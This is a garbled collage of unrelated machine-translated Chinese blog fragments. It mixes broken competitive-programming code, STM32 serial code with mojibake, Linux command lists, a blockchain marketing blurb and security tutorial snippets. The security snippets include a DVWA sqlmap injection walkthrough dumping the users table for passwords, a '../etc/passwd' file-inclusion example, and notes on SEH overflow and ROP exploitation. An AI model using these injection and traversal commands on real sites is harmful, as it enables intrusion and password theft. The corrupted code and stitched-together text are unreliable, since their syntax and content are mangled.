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[P].R==RAMP;AMP;T[P].V)returnHB (P,1); PD (P); if(t[p].l==T[P].R) {T[P].W=ne[t[p].w];t[p].v=F[T[P].W]; if(T[P].V) for(t[p].b[0]=t[p].w,t[p].le=1, I=ne[t[p].w];i!=t[p].w;i=ne[i]) t[p].b[t[p].le++]=i; return; } intMid=t[p].l+t[p].r>>1; if(rElse if(l>mid) ch (rp,l,r);ElseCH (lp,l,mid), CH (rp,mid+1, R); Updata (P);} InlineintMMH (intPintLintR) {PD (P); if(T[P].L==LAMP;AMP;T[P].R==R)returnT[P].W; intMid=t[p].l+t[p].r>>1; if(RreturnMMH (LP,L,R);Else if(L>mid)returnMMH (RP,L,R);Else

-power[i]] + power[i],dp[i]), where minus power[i] is to get the happiness before.1#include"Cstdio"2 inthappy[ -];3 intoil[ -];4 intdp[100004];5 voidHbegin (intN)6 {7 for(intI=0; i)8 {9scanf ("%d%d",happy[i],oil[i]);Ten } One for(intI=0;i100004; i++) A { -Dp[i] =0; - } the } - intMaxintXinty) - { - returnX>y?x:y; + } - intMain () + { A intN,o; at while(SCANF ("%d", n)! =EOF) - { - hbegin (n); -scanf ("%d",o); - for(intI=0; i) - { in

Lcs.1 /*1243*/2#include 3#include 4#include 5 6 #defineMAXN 20257 #defineMAXM 2568 9 CharTYPE[MAXM];Ten intPOINT[MAXM]; One A CharBULLET[MAXN]; - CharKBFZ[MAXN]; - intDP[MAXN][MAXN]; the intN; - - intMinintAintb) { - returnAa:b; + } - + intMaxintAintb) { A returnA>b?a:b; at } - - intAbsintx) { - returnx0? -x:x; - } - in intMain () { - intI, J, K; to intL1, L2; + - #ifndef Online_judge theFreopen ("data.in","R", stdin); * #endif $ Panax Notoginseng while

,m; scanf ("%d",N); for(intI=0; i) {scanf ("%d%d",a[i].l,A[I].R); A[i].pos=i; } scanf ("%d",m); for(intI=0; i) {scanf ("%d%d%d",b[i].l,b[i].r,B[I].K); B[i].pos=i; } sort (A,a+n,cmp); Sort (b,b+m,cmp); Multisets; intCnt=0, cur=0; for(intI=0; i){ while(curB[I].R) {S.insert (a[cur]); Cur++; } multiset:: Iterator e,top; Top=S.lower_bound (B[i]); E=S.lower_bound (B[i]); intp=0; while(!s.empty () e!=s.end () pB[I].K) {Node U=*e; Ans[u.pos]=B[i].pos; E++; p++; cnt++; } s.erase

(USART1, usart_flag_txe) = = RESET); Μè′y ￠?í?áê? } while (1) {while (Usart_getflagstatus (USART1, usart_flag_rxne) = = RESET); Μè′ypc?úμ?êy? Yμ?à′i = Usart_receivedata (USART1); ? óê?êy? Y if (i== ' 9 ') i= ' 0 '-1; if (i== ' z ') i= ' a '-1; if (i== ' Z ') i= ' A '-1; Usart_senddata (usart1,i+1); ￠?íò??? Êy? Y while (Usart_getflagstatus (USART1, usart_flag_txe) = = RESET);//μè′y ￠?í?áê? }}*//**/intMainvoid) {usart

First, STM32F103C8 pin distributionSecond, the LED common Yin, common yang connection methodThis should be the connection of the seven-segment digital tube.The current limiting resistor is selected as 470, and the multism is also required to be plugged in, otherwise flashing occurs. or change the properties directly.Third, remove the mechanical vibration of the button 1, the characteristics of the keyThe keyboard is composed of several independent keys, the press and release of the key is achiev

]+-----------+| Guestbook | | Users |+-----------+Probe the list of fields in users and discover that there is a password, haha! Get the contents out: # sqlmap-u " http://www.dvssc.com/dvwa/ vulnerabilities/sqli/?id=bbsubmit=submit# "--cookie= ' security=low; Phpsessid=ov3jmigsemo6d47367co53qq24 "-D dvwa--tables-t users--columns# sqlmap -u " http:// www.dvssc.com/dvwa/vulnerabilities/sqli/?id=bbSubmit=Submit# --cookie= security=low; Phpsessid=ov3jmigsemo6d47367co53qq24 &quo

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Hey, it's hard to have a favorite game on the Internet. As a result, you get rid of the fun of others. Guan fangming knew that this client-side computing result-based game was easy to cheat. Finally, he had an activity to allow unlimited use of his team. It was estimated that he had changed his planning ...... There are many ways to erase the tower in the pirate camp. I will not install B here. One is my usual host + apache change. One is CE. Even mo

the ability is superb, you can write your own code or use the code to convert themselves into Metasploit exploit module and payload module. Specific self-practice, my ability is limited ... The future level will come out tutorial ... 3.4 file inclusion and file Upload vulnerability file contains include local file contains (LFI) and remote file contains (RFI). http://www. XXX.COM/?PAGE=././././ETC/PASSWD //use "./" to exit the current directory, try a few more times ht

address is not shellcode address, and finally called the system default exception handler function. Open ollydbg, select "Just-in-time debugging" in the option menu, and then exit by selecting "Make OllyDbg just-in-time debugger". Restart the HISTORYSVR service, and then attack again, ollydbg truncation of exception handling, the program terminates at the exception of the instruction. The reason is that the eax+0x0c address of the call is not being used, triggering an exception. Back to the s

security vulnerabilities, attackers generally maliciously construct malformed files that conform to the normal file format, To exploit the exploit. 4.3.1 memory attack technology implementation of ROP attack After overflow program, the attacker does not execute the shellcode in the stack, but looks for some special instruction blocks in the module, with the stack parameters, the return address and other data, to connect these orphaned instruction blocks to achieve certain function

The plane gives you n (no more than 2000) points and asks how many of the rt triangles You can make up the area between [A and b].Enumerate each point as a right-angled vertex, sort on other point angles, sort by length in the same direction, and then enumerate each vector in turn, with its corresponding right-angled edge being monotonous, can be made with a pointer, and then the bands of those vectors in the same direction can be drawn (this code seems a bit problematic, may degenerate, It is a

millet "encrypted rabbit" to see the blockchain game, Mining has become a marketing toolFrom NetEase planet to travel browser, mining has become a very good product marketing means!Back to Xiaomi's blockchain pet "Crypto Rabbit", He Yi that it will also become a marketing tool for Xiaomi. To help Xiaomi sell more products! In the future, we do not rule out the possibility of Xiaomi launching "mining mobile phone", nor the possibility of using millet products to obtain mining capacity.Pass mille

Calls31ttyPrint Terminal32trReplace delete characters, use with pipe33ifconfigView IP Address34useraddCreate user-u uid: Specify UID-G GID-G Additional Group-D Specify home directory-C Comment Information-S Specify shell35usermod User Property Modification-u uid: Specify UID-G GID-G new Add-on group, original will be overwritten-ag Append additional groups-C Comment Information -D new home directory, files in the original home directory will not be moved to the new home directory at the same ti

line is n integers representing the number of stones in the heap. (the number of stones per heap is not more than 100)When the input n is 0 o'clock, the input endsOutput Description:For each set of test data, the output of WIN indicates that the calf can win, and the output lose indicates that the calf will fail.Example 1 input32 1 321 10OutputWinloseAnalysis: If the initiator gets 22 pairs of stones, such as (2,2,1,1), (in) paired, (2,2) paired. Then you must lose.Because the latter can be mad

return 0; the}G. Flood problemsTime limit: C/s 1 sec, other languages 2 secondsSpace limitations: C/C + + 32768K, other languages 65536K64bit IO Format:%lldLinks: Https://www.nowcoder.com/acm/contest/75/GSource: Cow Network topic Description Give a number n, ask 1 to N, how many number is not a multiple of 2 5 11 13. Input Description:There are multiple sets of inputsOne number per line n,1Output Description:The output output of each row is not a multiple of 2 5 11 13.Example 1 input15Outpu

Links: Https://www.nowcoder.com/acm/contest/74/FSource: Niu Ke NetTitle Description Demacia is a strong, law-abiding country, with outstanding meritorious history of the military. This place attaches great importance to the ideology of justice, honor and responsibility, and the people here are very proud of it. One day they wanted to sanction the evil bilgewater, so they sent their best fighters. As a result bilgewater the territory was too small, only a length of n wide for m amounted to n*m bl

namespacestd;//const int INF =0x3f3f3f3f;//int sum[1005][1005];//int dp[1005][1005];intdp[ the];intMain () {intN; CIN>>N; inta[ the]; for(intI=0; I the; i++) Dp[i]=1; for(intI=1; I ) Cin>>A[i]; for(intI=1; I ) { for(intj=1; J ) { if(A[i] >=A[j]) {Dp[i]= Max (dp[i],dp[j]+1); } } } intAns =0; for(intI=1; I ) {ans=Max (ans,dp[i]); } if(Ans >= -) cout"Yes"Endl; Elsecout"No"Endl; return 0;}The longest non-descending subsequence is a bare question.Que

row per set of outputs. 输入例子:3 3 32 33 22 30输出例子:8 -->Example 1 input3 3 32 33 22 30Output8DescriptionThe total weight that can be carried is 6, when you take the first two pieces of equipment, at this time the capacity is 5/6, you can also take the third item.ExercisesBackpack $dp$.This problem has a pit point, only when $h$ not for $0$ time, have $bug$.That is: $h $ for $0$, do $01$ backpack; $h $ not $0$, you can enumerate which one is finally put in, and then remove the $01$ backpack to ca